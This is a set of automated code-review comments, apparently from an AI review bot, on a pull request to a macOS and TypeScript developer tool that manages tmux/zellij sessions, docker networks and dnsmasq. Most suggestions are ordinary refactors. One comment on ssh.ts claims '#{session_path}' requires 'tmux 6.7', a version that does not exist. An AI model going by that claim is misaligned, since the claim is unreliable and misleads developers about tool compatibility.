MenuBarView.swift(Lines 289-293 in the relevant snippet). Consider extracting it to a shared extension onProjectSummaryor a utility.
394-396:headerHeightis a hardcoded magic number.The value
56is used for padding and fade overlay sizing. If the header content changes height, this won't adapt. Consider deriving the height with aGeometryReaderor a preference key, or at minimum adding a comment explaining how the value was chosen.apps/macos/Packages/Features/DashboardFeature/Sources/DashboardFeature/ProjectInspectorColumn.swift (1)
105-296:serviceCardis ~190 lines — consider extracting sub-sections.This function handles domains, detail rows, containers list, mounts, and labels all in one body. Extracting these into smaller
@ViewBuilderhelpers (e.g.,domainsList,containersList,mountsList,labelsList) would improve readability and make each section independently testable/previewable.src/mux/mux-resolver.ts (2)
57-72: Overly complex return type — prefer usingMuxSessiondirectly.The return type
Promise<readonly Awaited<ReturnType<MuxBackend["listSessions"]>>[number][]>is equivalent toPromise<MuxSession[]>but much harder to read. Using the named type directly improves clarity.♻️ Simplified signature
-export async function listMuxSessions(opts: { - readonly mode: SessionsMuxMode; - readonly backends: ReadonlyMap<MuxBackendName, MuxBackend>; -}): Promise< - readonly Awaited<ReturnType<MuxBackend["listSessions"]>>[number][] -> { - const out: Awaited<ReturnType<MuxBackend["listSessions"]>>[number][] = []; +export async function listMuxSessions(opts: { + readonly mode: SessionsMuxMode; + readonly backends: ReadonlyMap<MuxBackendName, MuxBackend>; +}): Promise<readonly MuxSession[]> { + const out: MuxSession[] = [];You'll also need to add
MuxSessionto the import on line 3:-import type { MuxBackend, MuxBackendName } from "./mux-backend.ts"; +import type { MuxBackend, MuxBackendName, MuxSession } from "./mux-backend.ts";
13-27:getMuxBackends()re-instantiates backends on every call.Both
createTmuxBackend()andcreateZellijBackend()runfindExecutableInPatheach time. In the current usage pattern this is fine, but ifresolveMuxorgetMuxBackendsis called in a loop or hot path, consider memoizing the result.src/lib/hack-env.ts (1)
177-209: Upsert and remove round-trip throughparseDotEnv→serializeDotEnvStable, which is lossy.Comments, original ordering, and quoting styles in hand-edited
.envfiles are discarded on any set/unset operation. This is by design (serializeDotEnvStablesorts alphabetically), but it could surprise users who maintain comments or grouped sections in their.envfiles. Consider documenting this behavior (e.g., a note in the env docs or a comment header in the generated file).src/lib/project-meta.ts (2)
289-315: Sequential backend iteration could be parallelized.
resolveSessionsMetaawaits each backend'slistSessions()sequentially. Since backends are independent, you could parallelize them for lower latency.♻️ Suggested parallel approach
export async function resolveSessionsMeta(opts: { readonly projectName: string; }): Promise<SessionsMeta> { const backends = getMuxBackends(); const sessions: MuxSession[] = []; - for (const backend of backends.values()) { - if (!backend.available) { - continue; - } - const listed = await backend.listSessions(); - for (const s of listed) { - const base = parseSessionBase({ name: s.name }); - if (base === opts.projectName) { - sessions.push(s); - } - } - } + const available = [...backends.values()].filter((b) => b.available); + const lists = await Promise.all(available.map((b) => b.listSessions())); + for (const listed of lists) { + for (const s of listed) { + const base = parseSessionBase({ name: s.name }); + if (base === opts.projectName) { + sessions.push(s); + } + } + } return { sessions: sessions.sort((a, b) => a.name === b.name ? a.backend.localeCompare(b.backend) : a.name.localeCompare(b.name) ), }; }
395-409:resolveComposeBuildServiceMeta:dockerfilefield inconsistency when default is used.On line 405,
dockerfileis set tonullwhenresolved.dockerfileis empty, butresolveComposeBuildInputs(line 419/429) defaults to"Dockerfile"— soresolved.dockerfilewill never actually be empty. Thelength > 0check on line 405 is dead code. Not a bug, but worth noting for clarity.src/commands/session.ts (4)
597-597: Use theresolveBackendhelper instead of duplicated ternary.Lines 597 and 638 both use
session.backend === "tmux" ? tmuxBackend : zellijBackend, but theresolveBackendfunction at line 1084 already encapsulates this. Use it for consistency and to avoid divergence if new backends are added.♻️ Proposed fix
- const backend = session.backend === "tmux" ? tmuxBackend : zellijBackend; + const backend = resolveBackend(session.backend);Apply at both lines 597 and 638.
Also applies to: 638-638
52-53: Module-level backend instantiation is eager.
createTmuxBackend()andcreateZellijBackend()run at import time. If these check binary availability (e.g.,which tmux), this adds latency to every CLI invocation even for commands that don't need session backends. Consider lazy initialization if the availability checks are non-trivial.
1088-1097:listAllSessionsqueries backends sequentially.Same note as
resolveSessionsMetainproject-meta.ts— the twolistSessions()calls are independent and could be parallelized withPromise.all.♻️ Parallel version
async function listAllSessions(): Promise<readonly MuxSession[]> { - const out: MuxSession[] = []; - if (tmuxBackend.available) { - out.push(...(await tmuxBackend.listSessions())); - } - if (zellijBackend.available) { - out.push(...(await zellijBackend.listSessions())); - } - return out; + const [tmuxSessions, zellijSessions] = await Promise.all([ + tmuxBackend.available ? tmuxBackend.listSessions() : Promise.resolve([]), + zellijBackend.available ? zellijBackend.listSessions() : Promise.resolve([]), + ]); + return [...tmuxSessions, ...zellijSessions]; }
831-849:resolveTailSessiondiscards the resolved session object.The function validates the session exists and is tmux-backed but returns only
{ ok: true }. The caller then independently resolves the target using tmux commands (line 816). This means the session is looked up twice (once inresolveTailSession, once implicitly inresolveActiveTarget). Consider returning the session to avoid the redundant lookup.
...cos/Packages/Features/DashboardFeature/Sources/DashboardFeature/ProjectInspectorColumn.swift
Show resolved
Hide resolved
| // De-dupe while preserving order. | ||
| var seen = Set<String>() | ||
| func push(_ path: String) { | ||
| let trimmed = path.trimmingCharacters(in: .whitespacesAndNewlines) | ||
| guard !trimmed.isEmpty else { return } | ||
| guard !seen.contains(trimmed) else { return } | ||
| seen.insert(trimmed) | ||
| extrasMerged.append(trimmed) | ||
| } | ||
|
|
||
| var extrasMerged: [String] = [] | ||
| for p in base { push(p) } | ||
| for p in extras { push(p) } | ||
| for p in defaults { push(p) } |
There was a problem hiding this comment.
🧩 Analysis chain
🏁 Script executed:
# Find and read the HackCLILocator.swift file
find . -name "HackCLILocator.swift" -type fRepository: hack-dance/hack
Length of output: 141
🏁 Script executed:
# Once found, let's examine the specific section around lines 42-55
fd "HackCLILocator.swift" -x cat -n {} | sed -n '35,65p'Repository: hack-dance/hack
Length of output: 1174
🌐 Web query:
Swift nested function capture variable declared later local scope scoping rules
💡 Result:
In Swift, nested functions are closures and can capture locals from the enclosing function, but you generally cannot “forward-reference” a local variable (use it before its declaration), even from inside a closure/nested-function body.
1) Capturing a local declared later is (normally) an error
This is rejected because it’s a forward reference, e.g.:
func foo() {
let f = { x } // ❌ forward reference
let x = 0
}Swift commonly diagnoses this as “closure captures 'x' before it is declared” (often caught when forming the closure). (forums.swift.org)
Fix: declare the captured local before the nested function/closure, or pass it in as a parameter.
2) Nested functions vs. local variables: different “order” behavior
Swift does allow nested functions to refer to (and mutually call) other nested functions declared later:
func parent() {
func a() { b() } // OK
func b() { a() } // OK
}That works because it’s function declaration lookup, not local variable forward use. (forums.swift.org)
But top-level statements inside the function body are still order-dependent: code earlier in the body can’t call a nested function declared later (similar to variables), so you typically must declare the nested function before the statement that calls it. (stackoverflow.com)
3) Rule of thumb
- Locals (let/var): must be declared before any capture/use (including inside a closure). (forums.swift.org)
- Local function declarations: can see each other across declaration order (enabling mutual recursion), but statements can’t call what hasn’t been declared yet. (forums.swift.org)
Citations:
- 1: https://forums.swift.org/t/ensuring-forward-references-to-local-variables-are-consistently-rejected/83265?utm_source=openai
- 2: https://forums.swift.org/t/improve-nested-functions-visibility-or-order-dependency/33935?utm_source=openai
- 3: https://stackoverflow.com/questions/32968133/what-is-the-practical-use-of-nested-functions-in-swift?utm_source=openai
- 4: https://forums.swift.org/t/ensuring-forward-references-to-local-variables-are-consistently-rejected/83265?utm_source=openai
- 5: https://forums.swift.org/t/improve-nested-functions-visibility-or-order-dependency/33935?utm_source=openai
🏁 Script executed:
# Check if the project has recent build artifacts or a build configuration
find . -name "*.build" -o -name "build" -o -name "dist" | head -20Repository: hack-dance/hack
Length of output: 41
🏁 Script executed:
# Try to find any Swift compilation/build files or errors related to this file
git log --oneline -- "apps/macos/Packages/Services/HackCLI/Sources/HackCLIService/HackCLILocator.swift" | head -5Repository: hack-dance/hack
Length of output: 117
🏁 Script executed:
# Check if there are any GitHub Actions workflows or CI logs that might show compile status
find . -name "*.yml" -o -name "*.yaml" | xargs grep -l "build\|test\|compile" 2>/dev/null | head -5Repository: hack-dance/hack
Length of output: 224
Move extrasMerged declaration before the nested function push — this code will not compile.
The nested function push (line 49) references extrasMerged, which is not declared until line 52. Swift does not allow local variables to be forward-referenced from closures or nested functions. The compiler will reject this with an error like "closure captures 'extrasMerged' before it is declared."
Required fix: declare before use
// De-dupe while preserving order.
var seen = Set<String>()
+ var extrasMerged: [String] = []
func push(_ path: String) {
let trimmed = path.trimmingCharacters(in: .whitespacesAndNewlines)
guard !trimmed.isEmpty else { return }
guard !seen.contains(trimmed) else { return }
seen.insert(trimmed)
extrasMerged.append(trimmed)
}
- var extrasMerged: [String] = []
for p in base { push(p) }
for p in extras { push(p) }
for p in defaults { push(p) }🤖 Prompt for AI Agents
In
`@apps/macos/Packages/Services/HackCLI/Sources/HackCLIService/HackCLILocator.swift`
around lines 42 - 55, The nested function push references extrasMerged before
it's declared, which causes a compile error; move the declaration of
extrasMerged (currently var extrasMerged: [String] = []) to appear before the
nested function push so push can capture and mutate it; keep the seen set and
push signature the same and then run the three loops (for p in base, for p in
extras, for p in defaults) after those declarations.
| if (ingress.exists) { | ||
| await run(["docker", "network", "rm", DEFAULT_INGRESS_NETWORK], { | ||
| stdin: "inherit", | ||
| }); | ||
| if (isCancel(okNetwork)) { | ||
| throw new Error("Canceled"); | ||
| } | ||
| if (okNetwork) { | ||
| if (ingress.exists) { | ||
| await run(["docker", "network", "rm", DEFAULT_INGRESS_NETWORK], { | ||
| stdin: "inherit", | ||
| }); | ||
| } | ||
| await run( | ||
| [ | ||
| "docker", | ||
| "network", | ||
| "create", | ||
| DEFAULT_INGRESS_NETWORK, | ||
| "--subnet", | ||
| DEFAULT_INGRESS_SUBNET, | ||
| "--gateway", | ||
| DEFAULT_INGRESS_GATEWAY, | ||
| ], | ||
| { stdin: "inherit" } | ||
| ); | ||
| } | ||
| } | ||
| await run( | ||
| [ | ||
| "docker", | ||
| "network", | ||
| "create", | ||
| DEFAULT_INGRESS_NETWORK, | ||
| "--subnet", | ||
| DEFAULT_INGRESS_SUBNET, | ||
| "--gateway", | ||
| DEFAULT_INGRESS_GATEWAY, | ||
| ], | ||
| { stdin: "inherit" } | ||
| ); | ||
|
|
||
| return await inspectDockerNetwork(DEFAULT_INGRESS_NETWORK); |
There was a problem hiding this comment.
docker network rm failure is silently ignored, causing the subsequent create to also fail.
If containers are still attached to the network (common during development), docker network rm fails with "has active endpoints". The exit code from run() is discarded, so the flow proceeds to docker network create which also fails (network still exists). The function then returns stale state from inspectDockerNetwork.
Consider checking the exit code and either disconnecting containers first or advising the user to stop them:
Proposed fix
if (ingress.exists) {
- await run(["docker", "network", "rm", DEFAULT_INGRESS_NETWORK], {
+ const rmExit = await run(["docker", "network", "rm", DEFAULT_INGRESS_NETWORK], {
stdin: "inherit",
});
+ if (rmExit !== 0) {
+ note(
+ `Could not remove ${DEFAULT_INGRESS_NETWORK} (containers may still be connected). Stop running projects first.`,
+ "doctor"
+ );
+ return ingress;
+ }
}📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| if (ingress.exists) { | |
| await run(["docker", "network", "rm", DEFAULT_INGRESS_NETWORK], { | |
| stdin: "inherit", | |
| }); | |
| if (isCancel(okNetwork)) { | |
| throw new Error("Canceled"); | |
| } | |
| if (okNetwork) { | |
| if (ingress.exists) { | |
| await run(["docker", "network", "rm", DEFAULT_INGRESS_NETWORK], { | |
| stdin: "inherit", | |
| }); | |
| } | |
| await run( | |
| [ | |
| "docker", | |
| "network", | |
| "create", | |
| DEFAULT_INGRESS_NETWORK, | |
| "--subnet", | |
| DEFAULT_INGRESS_SUBNET, | |
| "--gateway", | |
| DEFAULT_INGRESS_GATEWAY, | |
| ], | |
| { stdin: "inherit" } | |
| ); | |
| } | |
| } | |
| await run( | |
| [ | |
| "docker", | |
| "network", | |
| "create", | |
| DEFAULT_INGRESS_NETWORK, | |
| "--subnet", | |
| DEFAULT_INGRESS_SUBNET, | |
| "--gateway", | |
| DEFAULT_INGRESS_GATEWAY, | |
| ], | |
| { stdin: "inherit" } | |
| ); | |
| return await inspectDockerNetwork(DEFAULT_INGRESS_NETWORK); | |
| if (ingress.exists) { | |
| const rmExit = await run(["docker", "network", "rm", DEFAULT_INGRESS_NETWORK], { | |
| stdin: "inherit", | |
| }); | |
| if (rmExit !== 0) { | |
| note( | |
| `Could not remove ${DEFAULT_INGRESS_NETWORK} (containers may still be connected). Stop running projects first.`, | |
| "doctor" | |
| ); | |
| return ingress; | |
| } | |
| } | |
| await run( | |
| [ | |
| "docker", | |
| "network", | |
| "create", | |
| DEFAULT_INGRESS_NETWORK, | |
| "--subnet", | |
| DEFAULT_INGRESS_SUBNET, | |
| "--gateway", | |
| DEFAULT_INGRESS_GATEWAY, | |
| ], | |
| { stdin: "inherit" } | |
| ); | |
| return await inspectDockerNetwork(DEFAULT_INGRESS_NETWORK); |
🤖 Prompt for AI Agents
In `@src/commands/doctor.ts` around lines 1450 - 1469, The current block calls
run("docker network rm", ...) and ignores failures which leads to subsequent
create() and inspectDockerNetwork(DEFAULT_INGRESS_NETWORK) returning wrong/stale
state; update the logic in the section that checks ingress.exists to capture the
exit result from run("docker network rm", DEFAULT_INGRESS_NETWORK) and if it
fails, call inspectDockerNetwork(DEFAULT_INGRESS_NETWORK) to list attached
containers and either programmatically disconnect them via run("docker network
disconnect", container, DEFAULT_INGRESS_NETWORK) or surface a clear error
message instructing the user to stop/disconnect the listed containers, then only
proceed to run("docker network create", ...) and finally return
inspectDockerNetwork(DEFAULT_INGRESS_NETWORK).
| async function findSession(opts: { | ||
| readonly name: string; | ||
| }): Promise<MuxSession | null> { | ||
| const sessions = await listAllSessions(); | ||
| return sessions.find((s) => s.name === opts.name) ?? null; | ||
| } |
There was a problem hiding this comment.
findSession matches by name only — ambiguous when the same name exists in both backends.
If both tmux and zellij have a session named "myproject", this always returns the tmux one (since listAllSessions queries tmux first). Downstream callers like handleStop and handleExec then operate on the tmux session, which may not be the user's intent.
Consider either: (a) accepting an optional backend parameter, or (b) returning all matches and letting the caller disambiguate (or prompt).
🐛 Minimal fix: prefer exact match, warn on ambiguity
async function findSession(opts: {
readonly name: string;
-}): Promise<MuxSession | null> {
+ readonly backend?: MuxBackendName;
+}): Promise<MuxSession | null> {
const sessions = await listAllSessions();
- return sessions.find((s) => s.name === opts.name) ?? null;
+ const matches = sessions.filter((s) => s.name === opts.name);
+ if (opts.backend) {
+ return matches.find((s) => s.backend === opts.backend) ?? null;
+ }
+ return matches[0] ?? null;
}🤖 Prompt for AI Agents
In `@src/commands/session.ts` around lines 1099 - 1104, findSession currently
matches only by name and returns the first result from listAllSessions, causing
ambiguity when the same name exists in both backends; change findSession to
accept an optional backend parameter (e.g., backend?: 'tmux' | 'zellij') and
filter results by both name and backend (use session.backend or equivalent on
MuxSession), returning the matched session or null; update callers like
handleStop and handleExec to pass the desired backend when known (or
prompt/decide upstream), and keep the original behavior when backend is omitted
(but consider warning or returning null if multiple matches exist to avoid
silently picking the wrong backend).
| data: (_term, data) => { | ||
| for (const listener of opts.listeners) { | ||
| listener.onData(data); | ||
| } |
There was a problem hiding this comment.
Unguarded listener callbacks can break broadcast to remaining listeners.
If any listener.onData throws, iteration stops and subsequent listeners never receive the data. The same pattern appears in handleShellExit (lines 399–401) for listener.onExit. Wrapping each call in a try-catch ensures one misbehaving listener doesn't starve the rest.
🛡️ Proposed fix: guard listener callbacks
In createShellTerminal, the data callback:
data: (_term, data) => {
for (const listener of opts.listeners) {
- listener.onData(data);
+ try {
+ listener.onData(data);
+ } catch {
+ // Prevent one listener from breaking broadcast to others
+ }
}
},In handleShellExit, the exit notification:
for (const listener of opts.session.listeners) {
- listener.onExit(opts.exitCode, null);
+ try {
+ listener.onExit(opts.exitCode, null);
+ } catch {
+ // Prevent one listener from breaking notification to others
+ }
}📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| data: (_term, data) => { | |
| for (const listener of opts.listeners) { | |
| listener.onData(data); | |
| } | |
| data: (_term, data) => { | |
| for (const listener of opts.listeners) { | |
| try { | |
| listener.onData(data); | |
| } catch { | |
| // Prevent one listener from breaking broadcast to others | |
| } | |
| } | |
| }, |
🤖 Prompt for AI Agents
In `@src/control-plane/extensions/supervisor/shell-service.ts` around lines 254 -
257, The loop over opts.listeners in the createShellTerminal data callback and
the loop in handleShellExit call listener.onData and listener.onExit without
protections, so a thrown error stops notifying remaining listeners; wrap each
listener invocation (listener.onData and listener.onExit) in its own try-catch,
log or warn the error (preserving context such as which listener and which
event), and continue the loop so one bad listener cannot prevent others from
receiving the event.
| async function resolveProjectFromParams(opts: { | ||
| readonly projectId: string | null; | ||
| readonly projectName: string | null; | ||
| }): Promise< | ||
| ParseResult<{ | ||
| readonly project: NonNullable< | ||
| Awaited<ReturnType<typeof resolveRegisteredProjectByName>> | ||
| >; | ||
| readonly registration: RegisteredProject; | ||
| }> | ||
| > { | ||
| if (opts.projectId) { | ||
| const byId = await resolveRegisteredProjectById({ id: opts.projectId }); | ||
| if (!byId) { | ||
| return { ok: false, error: "project_not_found" }; | ||
| } | ||
| return { ok: true, value: byId }; | ||
| } | ||
|
|
||
| const name = opts.projectName?.trim() ?? ""; | ||
| if (name.length === 0) { | ||
| return { ok: false, error: "missing_project" }; | ||
| } | ||
|
|
||
| const registry = await readProjectsRegistry(); | ||
| const registration = registry.projects.find((p) => p.name === name) ?? null; | ||
| if (!registration) { | ||
| return { ok: false, error: "project_not_found" }; | ||
| } | ||
|
|
||
| const project = await resolveRegisteredProjectByName({ name }); | ||
| if (!project) { | ||
| return { ok: false, error: "project_not_found" }; | ||
| } | ||
|
|
||
| return { ok: true, value: { project, registration } }; | ||
| } |
There was a problem hiding this comment.
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
# Find the definitions of both functions
echo "=== Looking for resolveRegisteredProjectById ==="
rg -n "resolveRegisteredProjectById" src/daemon/routes/env.ts -B 2 -A 15
echo ""
echo "=== Looking for resolveRegisteredProjectByName ==="
rg -n "resolveRegisteredProjectByName" src/daemon/routes/env.ts -B 2 -A 15
echo ""
echo "=== Check if these functions are defined elsewhere ==="
rg -n "export.*function resolve(RegisteredProjectById|RegisteredProjectByName)" --type ts
echo ""
echo "=== Alternative: search for async function definitions ==="
rg -n "async function resolveRegisteredProject(ById|ByName)" --type ts -A 10Repository: hack-dance/hack
Length of output: 4887
The return types of resolveRegisteredProjectById and resolveRegisteredProjectByName are incompatible.
resolveRegisteredProjectByName returns Promise<ProjectContext | null>, while resolveRegisteredProjectById returns Promise<{ readonly project: ProjectContext; readonly registration: RegisteredProject; } | null>. The type annotation derives from resolveRegisteredProjectByName (the project field) but the projectId branch directly returns the result of resolveRegisteredProjectById. This creates hidden coupling—if either function's return type changes, the type safety won't catch the mismatch between branches.
Define the expected return shape explicitly instead of deriving it from one function implementation.
🤖 Prompt for AI Agents
In `@src/daemon/routes/env.ts` around lines 279 - 315, The function
resolveProjectFromParams currently derives its value type from
resolveRegisteredProjectByName which mismatches resolveRegisteredProjectById;
replace the derived type with an explicit return shape (e.g. define an inline or
named type like { project: ProjectContext; registration: RegisteredProject }) in
the Promise<ParseResult<...>> signature, update the final return typing to use
that explicit type, and ensure the projectId branch returns the same shape (if
resolveRegisteredProjectById already returns that shape, return it directly; if
it returns only ProjectContext, map it to include the corresponding
registration) so both branches conform to the new explicit type; reference
resolveProjectFromParams, resolveRegisteredProjectById,
resolveRegisteredProjectByName, ParseResult, RegisteredProject, and
ProjectContext when making the change.
There was a problem hiding this comment.
Actionable comments posted: 3
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (3)
src/commands/usage.ts (1)
1277-1283: 🛠️ Refactor suggestion | 🟠 MajorLocal
isRecordis inconsistent withsrc/lib/guards.tsand both helpers are duplicated.The canonical
isRecordinsrc/lib/guards.tsincludes!Array.isArray(value), which this copy omits. A JSON array would incorrectly pass this guard. While the current callers degrade gracefully (field lookups returnnull), this divergence is a latent bug.Both
isRecordandgetStringalready exist insrc/lib/guards.ts— import them instead of re-implementing. If you need the.trim()behavior ornullreturn type ofgetString, adapt at the call site or add a variant in the shared module.♻️ Suggested fix
-function isRecord(value: unknown): value is Record<string, unknown> { - return typeof value === "object" && value !== null; -} - -function getString(value: Record<string, unknown>, key: string): string | null { - const raw = value[key]; - return typeof raw === "string" ? raw.trim() : null; -}Then add to imports:
import { isRecord, getString } from "../lib/guards.ts";And adjust call sites to handle
undefinedvsnull(or add a trimming wrapper).src/commands/ssh.ts (2)
418-421:⚠️ Potential issue | 🟡 MinorSession name is interpolated into a shell string without escaping — defense-in-depth concern.
opts.sessionNameis embedded directly inside a single-quoted shell command. New session names are validated viaSESSION_NAME_PATTERN, but existing session names selected from the tmux listing (line 318) bypass that check. While tmux itself restricts names, adding a guard here would be more robust:Suggested fix
+ if (!SESSION_NAME_PATTERN.test(opts.sessionName)) { + p.log.error("Invalid session name"); + return 1; + } + // Use login shell to ensure PATH includes homebrew etc. // -d detaches other clients to avoid size conflicts from different terminals const tmuxCmd = `$SHELL -l -c 'tmux attach -d -t ${opts.sessionName} 2>/dev/null || tmux new -s ${opts.sessionName}'`;
437-468:⚠️ Potential issue | 🟡 Minor
#{session_path}has limited compatibility with older tmux versions.
#{session_path}is only available in tmux 6.7 and later; it does not exist in tmux 2.3–2.8 era releases. The code will fail on systems with older tmux versions. Since thepathfield is never used downstream (onlynameandattachedare accessed), consider either:
- Removing the path field entirely, or
- Using a more compatible format variable with a safer delimiter (e.g.,
\t) and runtime feature detection to handle older tmux versions gracefully.The colon delimiter issue (line 457:
line.split(":")) is technically sound for paths that don't contain colons, but switching to\twould be more robust.
🤖 Fix all issues with AI agents
In
`@apps/macos/Packages/Features/DashboardFeature/Sources/DashboardFeature/ProjectInspectorColumn.swift`:
- Around line 587-603: The "Variables" header and leading Divider are rendered
even when meta.env.vars is empty; wrap the entire block that starts with the
Divider() and the VStack (the Text("Variables"), ForEach(limited(meta.env.vars,
limit: 12)) { variable in envVarRow(variable) ... }, hiddenCount logic) in an if
!meta.env.vars.isEmpty guard so the Divider, label, ForEach, envVarRow and "+N
more" text only render when meta.env.vars has elements (refer to meta.env.vars,
envVarRow, and limited(...) in ProjectInspectorColumn.swift).
In `@docs/gateway-api.md`:
- Around line 551-554: Add a new Schema entry named RuntimeMount in the Schemas
section and document the structure referenced by the mounts field: define
RuntimeMount with two properties, source (string or null) and destination
(string or null), each with the given descriptions ("Mount source path" and
"Mount destination path"); ensure the existing table row that lists mounts as
RuntimeMount[] (the mounts field) clearly references this new RuntimeMount
schema so API consumers can see the object shape.
In `@src/daemon/routes/sessions.ts`:
- Around line 12-13: The comment describing valid session name characters is out
of sync with the regex SESSION_NAME_PATTERN (/^[\w-]+$/) — the code disallows
dots but the comment still lists "dot"; update all comments that describe the
pattern (the one adjacent to SESSION_NAME_PATTERN and the later explanatory
comment that mentions allowed characters) to match the actual regex
(alphanumeric, dash, underscore) or alternatively modify SESSION_NAME_PATTERN if
dots should be allowed; ensure the symbol SESSION_NAME_PATTERN is the source of
truth and comments reflect its behavior.
🧹 Nitpick comments (16)
src/commands/usage.ts (2)
796-857: Duplicated runtime resolution logic betweenrunUsageOnceandresolveUsageSnapshot.Both
runUsageOnce(lines 796–816) andresolveUsageSnapshot(lines 235–268) perform the same sequence:readRuntimeProjects→ filter →buildContainerIndex→readDockerStats. Consider extracting this shared pipeline into a common helper to reduce duplication.
1070-1072: Quadratic array growth from repeated spread.Each iteration creates a new array via
[...existing, sample]. For projects with many containers, this is O(n²). Usepushon the existing array instead.♻️ Suggested fix
- const existing = projectSamples.get(project) ?? []; - projectSamples.set(project, [...existing, sample]); + let existing = projectSamples.get(project); + if (!existing) { + existing = []; + projectSamples.set(project, existing); + } + existing.push(sample);src/commands/global.ts (4)
1973-1982:buildDnsmasqConfappends an extra blank line whenlinesis empty.When legacy lines are removed but all desired lines already exist (i.e.,
migrated.changed === trueandmissing.length === 0),buildDnsmasqConfis called with an emptylinesarray.opts.lines.join("\n")yields"", producing a trailing\n\nin the written file.Consider guarding the append:
♻️ Proposed fix
function buildDnsmasqConf(opts: { readonly existing: string; readonly lines: readonly string[]; }): string { const existing = opts.existing.trimEnd(); + if (opts.lines.length === 0) { + return existing.length === 0 ? "" : `${existing}\n`; + } if (existing.length === 0) { return `${opts.lines.join("\n")}\n`; } return `${existing}\n${opts.lines.join("\n")}\n`; }
2007-2012: Shell command string interpolation — safe here but fragile.
resolverPathis interpolated directly into thesh -ccommand string. This is safe today becausedomaincomes from compile-time constants, but it's a latent injection vector if the caller surface ever changes.A safer alternative would be to pass the path as a positional argument to
sh:🛡️ Proposed fix
await run([ "sudo", "sh", "-c", - `mkdir -p /etc/resolver && printf '%s\\n' 'nameserver 127.0.0.1' > ${resolverPath}`, + `mkdir -p /etc/resolver && printf '%s\\n' 'nameserver 127.0.0.1' > "$1"`, + "--", + resolverPath, ]);
1948-1971:removeLegacyDnsmasqLinesuses substring matching, not line-level matching.
replaceAll(legacyLine, "")removes all occurrences of the substring, including potential matches inside comments (e.g.,# old: address=/.hack/127.0.0.1). Consider anchoring to full-line matching to avoid unintended mutations of commented or annotated entries.♻️ Proposed fix using line-by-line filtering
function removeLegacyDnsmasqLines(opts: { readonly content: string; readonly legacyLines: readonly string[]; }): { readonly content: string; readonly changed: boolean } { - let updated = opts.content; - let changed = false; - - for (const legacyLine of opts.legacyLines) { - if (!updated.includes(legacyLine)) { - continue; - } - updated = updated.replaceAll(legacyLine, ""); - changed = true; - } - - if (!changed) { - return { content: updated, changed: false }; - } - - // Clean up any double newlines left from removal. - const cleaned = updated.replace(/\n{3,}/g, "\n\n").trim(); + const legacySet = new Set(opts.legacyLines); + const lines = opts.content.split("\n"); + const filtered = lines.filter((line) => !legacySet.has(line.trim())); + const changed = filtered.length !== lines.length; + if (!changed) { + return { content: opts.content, changed: false }; + } + const cleaned = filtered.join("\n").replace(/\n{3,}/g, "\n\n").trim(); logger.info({ message: "Migrating dnsmasq to use container IP..." }); return { content: cleaned, changed: true }; }
1989-2014:maybeWriteResolveralways prompts even when the file already has the correct content.Unlike
ensureDnsmasqHackAliases, which checks existing content before writing,maybeWriteResolverunconditionally prompts the user and overwrites. Consider reading the existing resolver file first and skipping the prompt when the content is already correct — this would makehack global installre-runs less noisy.src/control-plane/extensions/supervisor/shell-service.ts (2)
151-201: Consider guarding attachment operations against already-exited sessions.The
write,resize,signal, andclosecallbacks on the returnedShellAttachmentdon't checksession.meta.status. If the session has already exited (it remains in the map until the TTL timer fires), callers can still invoke these. Whileproc.kill()on a dead process is typically a no-op,terminal.write()on a closed terminal (line 403 closes it on exit) could throw.💡 Optional guard example for `write`
write: (data) => { + if (session.meta.status === "exited") return; session.terminal.write(data); touchShell(session); },Similar guards could be added to
resize,signal, andclose.
325-344: Consider logging the error in the.catchhandler.The
.catchonproc.exitedsilently swallows the rejection reason and defaults to exit code 1. Logging the error would aid debugging when a process fails unexpectedly.♻️ Proposed change
The
sessionreference is available, so you can useopts.session.meta.shellIdfor context. You'd need to thread the logger through or capture it in scope:.catch(() => { + // Consider logging: logger.warn({ message: `Shell process exited with error for ${opts.session.meta.shellId}` }); handleShellExit({ shells: opts.shells, session: opts.session, exitCode: 1, }); });src/daemon/routes/sessions.ts (2)
403-406: Invalidbackendvalues are silently ignored.If a caller sends
backend: "screen"(or any value other than"tmux"/"zellij"), it's silently treated asundefinedand the default backend is chosen. This could confuse callers who believe they targeted a specific backend. Consider returning a validation error for non-null values that aren't recognized.Proposed fix
- const backend = - body.backend === "tmux" || body.backend === "zellij" - ? (body.backend as MuxBackendName) - : undefined; + const backend = + body.backend === "tmux" || body.backend === "zellij" + ? (body.backend as MuxBackendName) + : body.backend == null + ? undefined + : null; + + if (backend === null) { + return { ok: false, error: "invalid_backend: must be 'tmux' or 'zellij'" }; + }
326-345:findSessionlists all sessions to locate one by name — acceptable for a local daemon.Worth noting that every handler (get/stop/exec/input) triggers a full enumeration across all backends. If session counts grow significantly or backend
listSessionscalls become expensive, consider a targeted lookup by backend+name. Fine for now.apps/macos/Packages/Features/DashboardFeature/Sources/DashboardFeature/ProjectInspectorColumn.swift (3)
233-234: Iterate the limited array directly instead of indexing into the original.
ForEach(limited(mounts, limit: 6).indices, ...)thenmounts[idx]happens to work becauselimitedreturns a prefix, but it's fragile — the two arrays are conceptually decoupled. Iterating the limited result directly is safer and more idiomatic.♻️ Proposed fix
- ForEach(limited(mounts, limit: 6).indices, id: \.self) { idx in - let mount = mounts[idx] + ForEach(Array(limited(mounts, limit: 6).enumerated()), id: \.offset) { _, mount inAlternatively, if
ContainerMountconforms toIdentifiableorHashable:- ForEach(limited(mounts, limit: 6).indices, id: \.self) { idx in - let mount = mounts[idx] + ForEach(limited(mounts, limit: 6), id: \.self) { mount in
105-296: Consider extracting sub-views from this ~190-line function.
serviceCardhandles domains, detail rows, containers, mounts, and labels — five distinct sections. Extracting helpers likecontainersList(...),mountsList(...), andlabelsList(...)would improve readability and make each section independently testable/previewable.
796-805: Remove unusedserviceHostLabel(for:)method.This method is defined here but never called within
ProjectInspectorColumn. An identical implementation exists inProjectDetailView.swiftwhere it is actively used (5 times). Remove this duplicate to reduce code duplication.apps/macos/Packages/Features/DashboardFeature/Sources/DashboardFeature/ProjectDetailView.swift (1)
447-504: Four helper methods are duplicated between this file andProjectInspectorColumn.swift.
